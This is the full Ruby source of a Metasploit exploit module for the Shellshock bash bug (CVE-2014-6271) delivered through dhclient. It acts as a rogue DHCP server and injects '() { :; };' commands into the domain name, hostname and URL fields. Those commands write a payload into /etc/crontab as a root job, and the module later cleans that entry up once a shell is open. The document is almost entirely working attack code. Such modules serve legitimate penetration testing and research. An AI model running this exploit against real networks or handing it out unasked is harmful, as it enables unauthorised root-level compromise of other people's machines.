##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/proto/dhcp'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::DHCPServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Dhclient Bash Environment Variable Injection',
'Description' => %q|
When bash is started with an environment variable that begins with the
string "() {", that variable is treated as a function definition and
parsed as code. If extra commands are added after the function
definition, they will be executed immediately. When dhclient receives
an ACK that contains a domain name or hostname, they are passed to
configuration scripts as environment variables, allowing us to trigger
the bash bug.
Because of the length restrictions and unusual networking scenario at
time of exploitation, we achieve code execution by echoing our payload
into /etc/crontab and clean it up when we get a shell.
|,
'Author' =>
[
'Stephane Chazelas', # Vulnerability discovery
'egypt' # Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'References' =>
[
['CVE', '2014-6271']
],
'Payload' =>
{
# 255 for a domain name, minus some room for encoding
'Space' => 200,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic bash telnet ruby',
}
},
'Targets' => [ [ 'Automatic Target', { }] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 24 2014'
))
deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
end
def on_new_session(session)
print_status "Cleaning up crontab"
# XXX this will brick a server some day
session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab")
end
def exploit
hash = datastore.copy
# Quotes seem to be completely stripped, so other characters have to be
# escaped
p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) }
echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab"
hash['DOMAINNAME'] = "() { :; };#{echo}"
if hash['DOMAINNAME'].length > 255
raise ArgumentError, 'payload too long'
end
hash['HOSTNAME'] = "() { :; };#{echo}"
hash['URL'] = "() { :; };#{echo}"
start_service(hash)
begin
while @dhcp.thread.alive?
sleep 2
end
ensure
stop_service
end
end
end
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